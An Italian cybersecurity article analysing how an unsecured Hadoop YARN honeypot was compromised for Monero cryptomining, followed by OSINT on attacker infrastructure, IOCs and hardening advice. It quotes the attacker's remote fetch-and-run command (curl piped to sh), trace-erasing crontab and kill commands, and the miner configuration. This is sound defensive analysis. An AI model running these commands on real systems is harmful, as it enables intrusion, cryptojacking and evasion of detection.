AVVISO AI LETTORI: QUESTO ARTICOLO È DESTINATO A PROFESSIONISTI DELLA CYBERSECURITY.
NON RIPRISTINARE I LINK PUBBLICATI!
Non ci si rende conto della complessità di alcune materie se non quando ci si scontra, e di solito è troppo tardi.
Per cercare di far capire cosa significhi “cyber”, queste ultime sere mi sono messo al computer e, per scopo didattico, ho creato un ambiente HDFS1 non protetto per capire cosa si potesse verificare in caso di una installazione e configurazione di un ambiente non opportunamente “hardenizzato” ne controllato, ovvero il caso più comune di installazioni eseguite da parte di personale tecnico non specializzato o non particolarmente attento.
Quello che verrà riportato è come vi sia un problema di sicurezza del sistema di gestione delle risorse Hadoop Yarn (accessi non autorizzati nelle API REST2) con cui si può eseguire in remoto del codice arbitrario. Una volta creata l’infrastruttura ho semplicemente atteso lo svilupparsi degli eventi. Dopo una settimana ho constatato che l’infrastruttura creata era stata attaccata e compromessa.
Ho quindi proceduto ad analizzare uno dei casi di compromissione e saranno forniti consigli e soluzioni di sicurezza per ovviare a questo problema.
Il caso scelto è un caso di mining di criptocurrency
Tanto per cominciare vediamo di capire qualcosa di più sulla infrastruttura impiegata come “honeypot3”.
Hadoop è un'infrastruttura di sistema distribuita sviluppata da Apache Foundation, una piattaforma di gestione delle risorse unificata per i sistemi hadoop, il cui ruolo principale è quello di ottenere una gestione unificata e la pianificazione delle risorse del cluster (generalmente usato per gestire dati come una specie di File System distribuito). Il framework di calcolo MapReduce può essere eseguito come un programma applicativo. Sopra si trova il sistema YARN, le risorse sono gestite tramite YARN. In poche parole, un utente può inviare specifici programmi applicativi a YARN per l'esecuzione che possono includere l'esecuzione dei relativi comandi di sistema.
YARN fornisce le API REST, che sono aperte per impostazione predefinita sulle porte 8088 e 8090, per questo motivo, qualsiasi utente, tramite le API possono eseguire l'invio di attività ed altre operazioni in modalità diretta. Se sono configurate in modo errato, le API REST verranno aperte nella rete pubblica (ad esempio su internet, qualora si decida di usare un cluster HDFS su Cloud) e consentiranno l'accesso non autorizzato al sistema creato. In definitiva quindi, la cattiva configurazione fa in modo che qualsiasi malintenzionato possa utilizzare l’infrastruttura per l'esecuzione di comandi remoti, in modo da condurre operazioni di mining4 o altre attività di natura malevola sul sistema.
Perché questo tipo di attività è molto subdola?
Perché difficilmente si inseriscono sistemi di sicurezza all’interno di cluster HDFS o si utilizzano sistemi per abilitare l' autenticazione Kerberos impedendo l'accesso anonimo (upgradando le versioni), oppure avvengono dei controlli di monitoring su di essi, questo perché queste strutture nascono allo scopo di massimizzare le prestazioni di un sistema utilizzato per far girare query ed analytics già di per se dispendiosi dal punto di vista computazionale.
Passi dell’attività malevola riscontrata
-
Analisi dell’intrusione
Sulla macchina usata come esca è stato istallato e configurato in default mode Hadoop YARN, questo comporta di per se un problema di sicurezza di accesso non autorizzato al sistema. L’intruder utilizza direttamente l'API REST aperta sulla porta 8088, dopo che un crawler5 identifica specificatamente un set di porte aperte pre-configurate da parte dell’esecutore. A questo punto, l’intruder potrà inviare comandi di esecuzione per scaricare ed eseguire uno script6 .sh nel server (in allegato 1 l’intero script ritrovato, cr.sh). Ulteriori download avvieranno successivamente il processo di mining.
L'intero processo è relativamente semplice e ben strutturato e si può notare leggendo lo script che nulla viene lasciato al caso, come ad esempio alcuni controlli che vengono eseguiti sul server Hadoop ospite.
Interessante il comando trovato ed eseguito:
exec / bin / bash -c "curl 185.222.210.59/cr.sh | sh & disown"
Mi soffermo su questo comando per mettere in evidenza due aspetti molto importanti ovvero l’indirizzo IP da cui viene scaricato lo script e alcune attività che servono a mascherare le attività malevole7.
Se si prosegue nell’analisi del codice all’interno dello script cr.sh è facile notare che l’autore dello stesso ha posto particolare attenzione nell’eliminare le tracce delle attività compiute8.
A questo punto, in sintesi, si può dire che l'intero script è molto dettagliato e sembra che ogni funzione sia nidificata e chiamata, molti file sono coinvolti coinvolti nell’intero processo, per cui possiamo riportare i passi principali secondo la scaletta seguente:
-
Pulisci i processi, i file e le attività di crontab correlati;
-
Giudica e scarica il programma di mining, verificare il valore MD5 allo stesso tempo, oltre al server controllato, utilizzare anche https:// transfer.sh per fornire il download di backup;
-
Aggiunge attività di esecuzione del download dello script in crontab.
Gli indicatori principali che sono emersi dall’analisi sono i seguenti:
-
185.222.210.59;
-
cr.sh
-
MD5 check c8c1f2da51fbd0aea60e11a81236c9dc | 5110222de7330a371c83af67d46c4242
-
http:// 185.222.210.59/re.php
-
xmrig_64 o xmrig_32
Verificheremo con un ciclo OSINF9 gli indicatori di cui sopra.
-
185.222.210.59
Cerchiamo di verificare le origini di questo indirizzo IP. In figura sottostante vengono riportati i campi principali in rilievo:
In alcuni forum10 di produttori/società di rilascio piattaforme basate su HDFS, viene riportato l’indirizzo IP e la stringa esatta ritrovata anche all’interno del nostro script, chiedendo spiegazioni in merito. In alcuni casi si chiede se è una configurazione standard. Il tutto grazie ad alcuni amministratori di HDFS che eseguono controlli a mano e aperiodici, non vi è alcun automatismo.
Andando a verificare, il funzionamento del server, si ottiene quanto segue:
Basic Information
OS |
Debian |
Protocols |
80/HTTP e 22/SSH |
-
80/HTTP
GET / |
|
Server |
Apache httpd 2.4.10 |
Status Line |
200 OK |
Page Title |
Apache2 Debian Default Page: It works |
GET / |
-
22/SSH
SSHv2 Handshake |
|
Server |
OpenSSH 6.7p1 |
Banner |
SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3 |
Host Key |
|
Algorithm |
ecdsa-sha2-nistp256 |
Fingerprint |
5a5c81f8dbc3e3d9fc57557691912a75b3be0d42ea5b30a2e7f1e584cffc5f40 |
Negotiated Algorithm |
|
Key Exchange |
curve25519- sha256@ libssh .org |
Symmetric Cipher |
aes128-ctr | aes128-ctr |
MAC |
hmac-sha2-256 | hmac-sha2-256 |
Si è anche verificato che esiste la porta 111 aperta che corrisponde al servizio di portmap. Pertanto dal lato server si trova il portmapper in ascolto sulla porta 111 (portmapper), dal lato client ci sono una serie di programmi che, per un qualunque servizio RPC11, devono prima interpellare il portmapper remoto il quale fornisce loro le informazioni necessarie a stabilire una connessione con il daemon competente. Si potrebbe anche verificare una eventuale vulnerabilità presente nel servizio, ma non è oggetto della ricerca e dell’attività di analisi.
Quindi il server in questione è “connesso” e probabilmente mantenuto tramite la porta 22 con il protocollo ssh, che ne garantisce la connessione crittografata. Dal campo 22.ssh.v2.server_host_key.fingerprint_sha256, cioè dalla fingerprint del ssh del server, le ricerche evidenziano che non ne esistono altri.
Si riporta anche come nel 80.http.get.headers.last_modified venga riportata la data di Wed, 16 May 2018 14:58:53 GMT
Il server appartiene alla disponibilità di indirizzamento della società di PRISM BUSINESS SERVICES LTD, che dal sito principale http:// www. prismbusiness.co.uk/about-us/ risulta non avere a che fare con attività inerenti il settore tecnico del ICT, bensì in altri campi. Qualora abbiano attivi dei server in un contesto cloud, magari configurati e/o comunque gestiti all’uopo quando serva, potrebbero risultare inconsapevoli del loro utilizzo attuale.
Si riporta l’intera net di loro disponibilità:
Non vi è risoluzione DNS sull’IP analizzato.
-
cr.sh
Lo script cr.sh che è stato analizzato ha il seguente MD5 48e79f8de26fa56d955a28c2de493132, non vi sono comunque evidenze di indicizzazioni su internet.
-
MD5 check c8c1f2da51fbd0aea60e11a81236c9dc | 5110222de7330a371c83af67d46c4242
Gli MD5 riportati, corrispondono ai file scaricati durante l’esecuzione dello script e sono riportati in tabella sottostante:
Nome File |
MD5 |
xmrig_64 |
c8c1f2da51fbd0aea60e11a81236c9dc |
xmrig_32 |
5110222de7330a371c83af67d46c4242 |
I file sopra riportati risultano essere il core dell’esecuzione del Proof of Work (PoW) di una cryptocurrency ben nota, si tratta infatti di Monero.
-
https:// transfer.sh/ixQBE/zzz
Interessante l’utilizzo di transfer.sh, che risulta essere una Tactics, Techniques and Procedures (TTPs) del comportamento di questo intruder, che ottiene in questo modo un back-up per i download degli eseguibili di data mining.
Infatti si è ritrovato che transfer.sh non è altro che condivisione di file semplice e veloce dalla riga di comando. Questo codice contiene il server con tutto il necessario per creare la propria istanza”, il tutto disponibile per il download in https:// github.com/dutchcoders/transfer.sh e su un sito internet https:// transfer.sh/ dove vi sono le spiegazioni di utilizzo con use case per poterlo facilmente integrare e configurare. Il processo di code reuse è ad oggi molto utilizzato sia in contesti di Cyber Crime che di contesti molto più ampi di Cyber Espionage o Cyber Intelligenge.
-
http:// 185.222.210.59/g.php
La pagina oggi, 02 giugno 2018, risponde con un indirizzo IP 95.142.40.81, mentre all’epoca del ritrovamento dello script l’indirizzo IP visualizzato era il 46.30.42.162. Entrambi hanno lo stesso comportamento, inseriti come variabile f1, dopo i controlli eseguiti con getconf LONG_BIT, avviene il download degli eseguibili xmrig_64 o xmrig_32. Ovviamente questo gli permette, qualora rinvenuto malevole un primo indirizzo IP, ma non l’IP di controllo e gestione 185.222.210.59, di rendere inutili alcuni controlli di sicurezza come le Blacklist da Firewall, categorizzazioni non granulari di Websense o warning di SIEM a disposizione di un SOC.
Vediamo se possiamo ricavare qualcosa dai due indirizzi IP:
46.30.42.162
L’indirizzo risulta nelle disponibilità di Eurobyte VPS, e l’indirizzamento porta una classe di indirizzi barra 24 nella disponibilità di questo Hosting, che risulta di origini russe.
Anche questo server, risulta avere le porte 22 e 80 aperte, con Sistema Operativo Debian.
Di seguito i dettagli ritrovati:
Basic Information
OS |
Debian |
Network |
MCHOST — AS (RU) |
Routing |
46.30.42.0/24 via AS7018 , AS3356 , AS35415 , AS48282 |
Protocols |
80/HTTP e 22/SSH |
-
80/HTTP
GET / |
|
Server |
Apache httpd 2.4.10 |
Status Line |
200 OK |
Page Title |
Apache2 Debian Default Page: It works |
GET / |
-
22/SSH
SSHv2 Handshake |
|
Server |
OpenSSH 6.7p1 |
Banner |
SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u3 |
Host Key |
|
Algorithm |
ecdsa-sha2-nistp256 |
Fingerprint |
3e88599d935de492c07f93e313201aa340b7ff0a5f66a330a0c5ab660cf95fad |
Negotiated Algorithm |
|
Key Exchange |
curve25519- sha256@ libssh .org |
Symmetric Cipher |
aes128-ctr | aes128-ctr |
MAC |
hmac-sha2-256 | hmac-sha2-256 |
Si fa notare come una ricerca basata sul Fingerprint del Host Key, evidenzia che esistono altri 41 server con la stessa firma. Di questi 41 server, anche il nuovo indirizzo IP 95.142.40.81 risulta nelle disponibilità dell’intruder.
Con questo dato si può ipotizzare con buona probabilità di aver trovato un pool di primo livello dell’infrastruttura di questo singolo intruder o gruppo di Cyber Crime.
Si riportano gli indirizzamenti e eventuali informazioni utili ad attività successive:
95.142.40.74 (vz232259.eurodir.ru) |
AS (48282) Russia location.country: Russia |
185.154.53.249 (vz232259.eurodir.ru) |
AS (48282) Russia location.country: Russia |
95.142.40.89 (vz229526.eurodir.ru) |
AS (48282) Russia location.country: Russia |
95.142.40.190 (vz232259.eurodir.ru) |
AS (48282) Russia location.country: Russia |
95.142.40.189 (vz232259.eurodir.ru) |
AS (48282) Russia location.country: Russia |
46.30.47.115 (vz227413.eurodir.ru) |
AS (48282) Russia location.country: Russia |
95.142.39.241 (shimshim.info) |
AS (48282) Russia location.country: Russia database mysql |
95.142.40.188 (vz232259.eurodir.ru) |
AS (48282) Russia location.country: Russia |
46.30.41.207 (vz230806.eurodir.ru) |
AS (48282) Russia location.country: Russia |
46.30.41.182 (vz230501.eurodir.ru) |
AS (48282) Russia location.country: Russia |
95.142.39.251 (vz232259.eurodir.ru) |
AS (48282) Russia location.country: Russia |
185.154.53.67 (vz232259.eurodir.ru) |
AS (48282) Russia location.country: Russia |
185.154.53.65 (profshinservice.ru) |
AS (48282) Russia location.country: Russia |
46.30.45.91 (vz220153.eurodir.ru) |
AS (48282) Russia location.country: Russia |
185.154.53.46 (server.badstudio.ru) |
AS (48282) Russia location.country: Russia |
46.30.41.80 (track.dev) |
AS (48282) Russia location.country: Russia |
46.30.45.152 (vz230274.eurodir.ru) |
AS (48282) Russia location.country: Russia |
185.154.53.72 (vz231895.eurodir.ru) |
AS (48282) Russia location.country: Russia |
185.154.53.137 (vz224405.eurodir.ru) |
AS (48282) Russia location.country: Russia |
95.142.39.151 (donotopen.ru) |
AS (48282) Russia location.country: Russia database mysql |
185.154.52.117 (vz230686.eurodir.ru) |
AS (48282) Russia location.country: Russia |
46.30.47.157 (vz228859.eurodir.ru) |
AS (48282) Russia location.country: Russia |
95.142.40.83 (vz228857.eurodir.ru) |
AS (48282) Russia location.country: Russia |
95.142.40.86 (kolos1952.ru) |
AS (48282) Russia location.country: Russia database mysql |
95.142.40.81 (vz228855.eurodir.ru) |
AS (48282) Russia location.country: Russia |
46.30.42.162 (server.com) |
AS (48282) Russia location.country: Russia |
95.142.40.82 (vz228856.eurodir.ru) |
AS (48282) Russia location.country: Russia |
46.30.43.128 (vz228757.eurodir.ru) |
AS (48282) Russia location.country: Russia |
185.154.52.236 (supportt.ru) |
AS (48282) Russia location.country: Russia database mysql |
95.142.39.109 (vz228627.eurodir.ru) |
AS (48282) Russia location.country: Russia |
95.142.40.44 (vz229990.eurodir.ru) |
AS (48282) Russia location.country: Russia |
95.142.39.164 (vz232259.eurodir.ru) |
AS (48282) Russia location.country: Russia |
46.30.45.30 (shop.engine) |
AS (48282) Russia location.country: Russia |
95.142.39.172 (hosted-by.wikhost.com) |
AS (48282) Russia location.country: Russia database mysql |
185.154.52.161 (piar60.ru) |
AS (48282) Russia location.country: Russia database mysql |
95.142.40.87 (regiister.ru) |
AS (48282) Russia location.country: Russia database mysql |
95.142.40.88 (buled.ru) |
AS (48282) Russia location.country: Russia database mysql |
185.154.53.190 (vz228963.eurodir.ru) |
AS (48282) Russia location.country: Russia database mysql |
46.30.41.51 (vz225213.eurodir.ru) |
AS (48282) Russia location.country: Russia |
185.154.53.108 (vz224405.eurodir.ru) |
AS (48282) Russia location.country: Russia |
185.154.52.181 (vz224405.eurodir.ru) |
AS (48282) Russia location.country: Russia |
Questi invece i metadati riguardanti l’analisi dei 41 IP sopra riportati:
Tutti gli indirizzamenti trovati, fanno capo al AS MCHOST-AS, RU:
1-th Street Frezernaiy, 2/1 stroenie 10
109202 Moscow
RUSSIAN FEDERATION
phone: +7 495 6738456
fax: +7 495 6738456
e-mail: info (at) mchost (dot) ru
Areas serviced: RU
-
http:// 185.222.210.59/w.conf
Oggi:
{
"algo": "cryptonight",
"background": true,
"colors": false,
"retries": 5,
"retry-pause": 5,
"donate-level": 1,
"syslog": false,
"log-file": null,
"print-time": 60,
"av": 0,
"safe": false,
"max-cpu-usage": 95,
"cpu-priority": 4,
"threads": null,
"pools": [
{
"url": "stratum+tcp://46.30.43.159:80",
"user": "h",
"pass": "h",
"keepalive": true,
"nicehash": false,
"variant": -1
}
],
"api": {
"port": 0,
"access-token": null,
"worker-id": null
}
}
Nel momento del ritrovamento dello script:
{
"algo": "cryptonight",
"background": true,
"colors": false,
"retries": 5,
"retry-pause": 5,
"donate-level": 1,
"syslog": false,
"log-file": null,
"print-time": 60,
"av": 0,
"safe": false,
"max-cpu-usage": 95,
"cpu-priority": 4,
"threads": null,
"pools": [
{
"url": "stratum+tcp://179.60.146.10:5556",
"user": "h",
"pass": "h",
"keepalive": true,
"nicehash": false,
"variant": -1
},
{
"url": "stratum+tcp://46.30.43.159:80",
"user": "h",
"pass": "h",
"keepalive": true,
"nicehash": false,
"variant": -1
}
],
"api": {
"port": 0,
"access-token": null,
"worker-id": null
}
}
Importante sottolineare come il file di conf definisca due indicatori importanti per la fase di analisi (possiamo anche definirne tre):
-
stratum+tcp://46.30.43.159:80 (in comune in date differenti);
-
stratum+tcp://179.60.146.10: 5556 (solo nel primo ritrovamento);
-
"algo": "cryptonight";
Analizziamo prima IP in comune 46.30.43.159. Questo indirizzo IP, nella disponibilità di Eurobyte VPS, Russo, ha come PTR vz230703.eurodir.ru e fa parte di una net 46.30.43.0/24. I PTR degli IP della net, in allegato 1 si riporta l’intera classe, hanno qualcosa di particolare. Riporto nella tabella sottostante i PTR con similitudine senza il campo A, sono 41:
IP |
PTR |
46.30.43.13 |
vz94180.eurodir.ru |
46.30.43.17 |
vz203045.eurodir.ru |
46.30.43.21 |
vz206109.eurodir.ru |
46.30.43.23 |
vz216100.eurodir.ru |
46.30.43.24 |
vz174272.eurodir.ru |
46.30.43.30 |
vz35015.eurodir.ru |
46.30.43.57 |
vz78210.eurodir.ru |
46.30.43.58 |
vz229754.eurodir.ru |
46.30.43.61 |
vz35015.eurodir.ru |
46.30.43.64 |
vz38207.eurodir.ru |
46.30.43.66 |
vz86195.eurodir.ru |
46.30.43.70 |
vz173527.eurodir.ru |
46.30.43.77 |
vz174931.eurodir.ru |
46.30.43.79 |
vz195563.eurodir.ru |
46.30.43.82 |
vz197086.eurodir.ru |
46.30.43.90 |
vz120816.eurodir.ru |
46.30.43.93 |
vz173527.eurodir.ru |
46.30.43.98 |
vz94065.eurodir.ru |
46.30.43.101 |
vz216360.eurodir.ru |
46.30.43.102 |
vz195005.eurodir.ru |
46.30.43.123 |
vz212299.eurodir.ru |
46.30.43.128 |
vz228757.eurodir.ru |
46.30.43.130 |
vz168899.eurodir.ru |
46.30.43.156 |
vz195735.eurodir.ru |
46.30.43.159 |
vz230703.eurodir.ru |
46.30.43.161 |
vz171964.eurodir.ru |
46.30.43.166 |
vz123353.eurodir.ru |
46.30.43.170 |
vz224733.eurodir.ru |
46.30.43.172 |
vz226924.eurodir.ru |
46.30.43.184 |
vz171966.eurodir.ru |
46.30.43.186 |
vz162078.eurodir.ru |
46.30.43.214 |
vz207073.eurodir.ru |
46.30.43.219 |
vz110518.eurodir.ru |
46.30.43.224 |
vz98980.eurodir.ru |
46.30.43.226 |
vz100250.eurodir.ru |
46.30.43.229 |
vz110562.eurodir.ru |
46.30.43.232 |
vz228251.eurodir.ru |
46.30.43.237 |
vz162078.eurodir.ru |
46.30.43.244 |
vz207073.eurodir.ru |
46.30.43.245 |
vz174272.eurodir.ru |
46.30.43.246 |
vz157495.eurodir.ru |
Anche in questo caso, il gestore potrebbe non essere a conoscenza che alcuni di questi server sotto la sua disponibilità, vengono utilizzati per fini terzi, comunque andrebbero analizzati uno per uno, per riscontrare ulteriori similitudini.
Analizzando il 179.60.146.10, invece si ha quanto segue:
ECDSA key fingerprint is SHA256:62Jyi3X1dEJRIH85kJ0Ee20aW+PEK5g976Xk3yGKVHQ
Porta 22, 111, 5555 risultano open ed anche questo server utilizza OpenSSHVersion: 6.7p1 Debian 5+deb8u3
Purtroppo non si hanno altre evidenze.
Cryptonight invece, è un indicatore forte di quello che si vuole fare, una volta colpito il target. Nello specifico lo scopo risulta essere quello di minare i blocchi della cryptocurrency di Monero, immettendo il target all’interno di un pool a disposizione dell’intruder. La scelta non è casuale. Il protocollo Cryptonight è stato studiato per essere adottato da miner che non hanno la disponibilità di avere ASIC o cluster di schede grafiche molto costose, bensi si possono utilizzare le classiche CPU di PC, Notebook o MiniPC.
Infatti, il CryptoNight è utilizzato per il mining di quelle monete caratterizzate dal protocollo CryptoNote. È una funzione strettamente vincolata alla memoria (memory hard hash), in questo caso alla memoria cache di terzo livello delle CPU in quanto incentrata sulla latenza. Tale vincolo è stato imposto per rendere il CryptoNight poco efficiente su sistemi quali GPU ed FPGA, non dotati di memoria cache e dunque svantaggiati all’utilizzo dell’algoritmo.
Le dimensioni dello scratchpad del CryptoNight sono di circa 2 MB di memoria per ogni istanza a causa delle seguenti ragioni:
-
può essere contenuto nelle cache L3 (per core) dei processori moderni;
-
una memoria interna di un megabyte è una dimensione inaccettabile per la pipeline degli ASIC tradizionali;
-
le GPU possono eseguire centinaia di thread ma hanno una latenza decisamente peggiore della cache L3 delle CPU moderne;
-
una significativa espansione dello scratchpad richiederebbe un aumento delle interazioni. Se un nodo spendesse un considerevole intervallo di tempo sull’hash di un blocco, potrebbe essere facilmente inondato con un meccanismo di flooding di falsi blocchi causando un DDoS.
Upgrade
Proprio in questi giorni, vi è stata una modifica dello script cr.sh, dei file di configurazione e degli eseguibili.
Il download degli eseguibili per il data mining si ottiene dall’indirizzo IP 95.142.40.83, che ha portato a identificare tramite il fingerprint della chiave ssh, ulteriori indirizzi IP a disposizione dell’intruder.
Nella tabella sottostante si riportano i dettagli di 20 su 65 indirizzi IP, poiché non si ha la possibilità di ottenerli tutti in blocco (scarsità di tempo ed account a pagamento non disponibili) con le medesime chiavi ssh e le medesime configurazioni.
95.142.39.233 vz231616.eurodir.ru |
McHost.Ru Added on 2018-06-03 03:44:26 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
46.30.43.128 vz228757.eurodir.ru |
EuroByte LLC Added on 2018-06-03 03:35:03 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
46.30.47.107 vz227413.eurodir.ru |
EuroByte LLC Added on 2018-06-03 03:15:02 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
46.30.41.182 vz230501.eurodir.ru |
EuroByte LLC Added on 2018-06-02 21:01:28 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
46.30.47.21 vz227411.eurodir.ru |
Linux 3.x EuroByte LLC Added on 2018-06-02 16:48:39 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
95.142.40.188 vz232259.eurodir.ru |
McHost.Ru Added on 2018-06-02 12:58:55 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
46.30.45.30 shop.engine |
EuroByte LLC Added on 2018-06-02 09:45:16 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
95.142.40.81 vz228855.eurodir.ru |
McHost.Ru Added on 2018-06-02 07:11:32 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
185.154.53.137 vz224405.eurodir.ru |
EuroByte LLC Added on 2018-06-02 07:04:48 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
46.30.47.82 vz227413.eurodir.ru |
EuroByte LLC Added on 2018-06-02 04:55:14 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
185.154.53.67 vz232259.eurodir.ru |
EuroByte LLC Added on 2018-06-02 03:45:39 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
95.142.40.87 regiister.ru |
McHost.Ru Added on 2018-06-01 22:04:23 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
46.30.47.66 vz227407.eurodir.ru |
EuroByte LLC Added on 2018-06-01 18:17:26 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
185.154.52.236 supportt.ru |
EuroByte LLC Added on 2018-06-01 11:27:17 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
46.30.47.35 vz227411.eurodir.ru |
Linux 3.x EuroByte LLC Added on 2018-06-01 11:07:16 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
185.154.53.46 server.badstudio.ru |
EuroByte LLC Added on 2018-06-01 07:22:23 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
95.142.40.89 vz229526.eurodir.ru |
McHost.Ru Added on 2018-05-31 14:07:45 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
46.30.42.162 server.com |
EuroByte LLC Added on 2018-05-31 12:56:26 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
95.142.39.102 vz222177.eurodir.ru |
McHost.Ru Added on 2018-05-31 10:05:30 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
95.142.40.86 kolos1952.ru |
McHost.Ru Added on 2018-05-31 09:42:31 GMT Russian Federation SSH-2.0-OpenSSH_6.7p1 Debian-5+deb8u4 Key type: ssh-rsa |
Si riportano alcuni grafici di dettaglio:
Inoltre i file scaricabili risultano essere i seguenti:
Nome File |
MD5 |
xm64 |
183664ceb9c4d7179d5345249f1ee0c4 |
xm32 |
b00f4bbd82d2f5ec7c8152625684f853 |
Oltre a quanto sopra, nello script, sono presenti i seguenti comandi:
pkill -f logo4.jpg
pkill -f logo0.jpg
pkill -f logo9.jpg
pkill -f jvs
pkill -f javs
pkill -f 192.99.142.248
rm -rf /tmp/pscd*
rm -rf /var/tmp/pscd*
crontab -l | sed '/192.99.142.232/d' | crontab -
crontab -l | sed '/192.99.142.226/d' | crontab -
crontab -l | sed '/192.99.142.248/d' | crontab -
crontab -l | sed '/logo4/d' | crontab -
crontab -l | sed '/logo9/d' | crontab -
crontab -l | sed '/logo0/d' | crontab –
Si evince subito l’uso del comando sed, non frequente nella programmazione, pertanto anch’esso potrebbe finire tra le TTPs utilizzate dall’attore ostile.
Sed è uno stream editor, utilizzato per eseguire trasformazioni di testo su un flusso di input (un file o un input da una pipeline); è la capacità di sed di filtrare il testo in una pipeline che lo distingue in modo particolare da altri tipi di editor.
In questo contesto viene utilizzato per eliminare qualsiasi traccia dalle attività di cron. Probabilmente, vi sono delle attività di intrusione non note all’analisi, poiché derivate da attività passate che poi sono mutate per l’ottenimento di quanto aspettato.
Facendo un’analisi degli indirizzi IP 192.99.142.232, 192.99.142.226, 192.99.142.248, si ottiene che la compagnia (ISP) di riferimento è OVH Hosting con ubicazione in Canada.
Tutti hanno connettività sulla porta 22, ssh. Se si considerano però come indirizzi IP di natura malevola, per esempio riferendosi a quanto riportato nel link https://www. joesandbox.com/index.php/analysis/49178/0/executive , dove viene dichiarato un utilizzo di powershell, arricchendo la ricerca si verifica che l’indirizzo IP 192.99.142.232 ha la stessa fingerprint del IP 85.214.102.143 localizzato in Germania nelle disponibilità del ISP Strato AG. L’indirizzo ha però un certificato 443.https.tls.certificate.parsed.fingerprint_sha1: 78e477a2406935666a2eac4e44646d2ffe0a6d9b che lo lega anche ai seguenti IP: 85.214.125.15 (emma.smartmessaging.com) OS Debian, e al IP 85.214.60.153 (meters.busware.de) OS Debian.
From |
To Fingerprint ssh |
Fingerprint tls |
192.99.142.232 |
85.214.102.143 |
85.214.125.15 |
85.214.60.153 |
Per quanto riguarda IP 192.99.142.248, si riporta alla figura sottostante, che rileva quanto finora espresso nel documento.
Non si possiedono dettagli significativi per l’altro indirizzo IP 192.99.142.226
Consigli sulla sicurezza
-
Usare la parte superiore per vedere il processo e uccidere il processo anormale.
-
Controllare le directory /tmp e /var/tmp ed elimina i file come java, ppc, ppl3, config.json e w.conf
-
Controllare l'elenco delle attività di crontab ed eliminare le anomalie
-
Analisi dei log di YARN, conferma l'applicazione anomala, eliminazione dell'elaborazione.
Rinforzo di sicurezza
-
Configurare i criteri di accesso tramite iptables o gruppi di sicurezza per limitare l'accesso a porte come 8088;
-
se non è necessario, non aprire l'interfaccia nella rete pubblica e modificarla in chiamate locali o intranet;
-
aggiornare Hadoop alla versione 2.x e abilitare l' autenticazione Kerberos per impedire l'accesso anonimo.
IOC
Indirizzo del portafogli
4AB31XZu3bKeUWtwGQ43ZadTKCfCzq3wra6yNbKdsucpRfgofJP3YwqDiTutrufk8D17D7xw1zPGyMspv8Lqwwg36V5chYg
MD5
-
MD5 (xmrig_64) = c8c1f2da51fbd0aea60e11a81236c9dc
-
MD5 (xmrig_32) = 5110222de7330a371c83af67d46c4242
-
MD5 (xm64) = 183664ceb9c4d7179d5345249f1ee0c4
-
MD5 (xm32) = b00f4bbd82d2f5ec7c8152625684f853
-
MD5 (cr.sh) = 1e8c570de8acc2b7e864447c26c59b32
-
MD5 (cr.sh) = 48e79f8de26fa56d955a28c2de493132
-
MD5 (w.conf) = 777b79f6ae692d8047bcdee2c1af0fd6
-
MD5 (c.conf) = 9431791f1dfe856502dcd58f47ce5829
Indirizzi in ordine di priorità
-
185.222.210.59 (risulta essere IP sorgente);
-
46.30.43.159 (connessione al pool dell’intruder, procollo stratum+tcp);
-
179.60.146.10 (connessione al pool dell’intruder, procollo stratum+tcp);
-
95.142.40.83 (download file di data mining);
-
95.142.40.81 (download file di data mining);
-
46.30.42.162 (download file di data mining);
-
192.99.142.248 (connessione ad attività di evasione);
-
192.99.142.232 (connessione ad attività di evasione);
-
192.99.142.226 (connessione ad attività di evasione);
-
85.214.102.143(fingerprint comune con indirizzi soprariportati);
-
85.214.125.15 (fingerprint comune con indirizzi soprariportati);
-
85.214.60.153 (fingerprint comune con indirizzi soprariportati).
Indirizzi di sospetta appartenenza alle disponibilità dell’intruder
185.154.52.117 (vz230686.eurodir.ru) |
185.154.52.161 (piar60.ru) |
185.154.52.181 (vz224405.eurodir.ru) |
185.154.52.236 (supportt.ru) |
185.154.53.108 (vz224405.eurodir.ru) |
185.154.53.137 (vz224405.eurodir.ru) |
185.154.53.190 (vz228963.eurodir.ru) |
185.154.53.249 (vz232259.eurodir.ru) |
185.154.53.46 (server.badstudio.ru) |
185.154.53.65 (profshinservice.ru) |
185.154.53.67 (vz232259.eurodir.ru) |
185.154.53.72 (vz231895.eurodir.ru) |
46.30.41.182 (vz230501.eurodir.ru) |
46.30.41.207 (vz230806.eurodir.ru) |
46.30.41.51 (vz225213.eurodir.ru) |
46.30.41.80 (track.dev) |
46.30.42.162 (server.com) |
46.30.43.128 (vz228757.eurodir.ru) |
46.30.45.152 (vz230274.eurodir.ru) |
46.30.45.30 (shop.engine) |
